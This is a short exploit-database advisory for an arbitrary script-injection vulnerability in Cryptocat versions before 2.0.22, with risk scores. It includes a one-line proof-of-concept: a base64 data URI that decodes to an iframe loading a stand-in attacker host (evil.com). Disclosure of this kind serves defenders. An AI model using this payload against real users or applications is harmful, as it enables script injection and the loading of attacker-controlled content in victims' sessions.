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Cryptocat Arbitrary Script Injection Vulnerability

🗓️ 05 Nov 2015 00:00:00Reported by Mario HeiderichType 
zdt
 zdt
🔗 0day.today👁 29 Views

Cryptocat Arbitrary Script Injection Vulnerability - allows execution of arbitrary script cod

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source: http://www.securityfocus.com/bid/61093/info
 
Cryptocat is prone to an arbitrary script-injection vulnerability because it fails to properly sanitize user-supplied input.
 
An attacker can exploit this issue to execute arbitrary script code within the context of the application.
 
Versions prior to Cryptocat 2.0.22 are vulnerable. 
 
Http://example.come/data:image/foo;base64,PGh0bWw+PGlmcmFtZSBzcmM9Imh0dHA6Ly9ldmlsLmNvbS8iPjwvaWZyYW1lPjwvaHRtbD4NCg

#  0day.today [2018-04-11]  #

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05 Nov 2015 00:00Current
9.3High risk
Vulners AI Score9.3
EPSS0.07142
29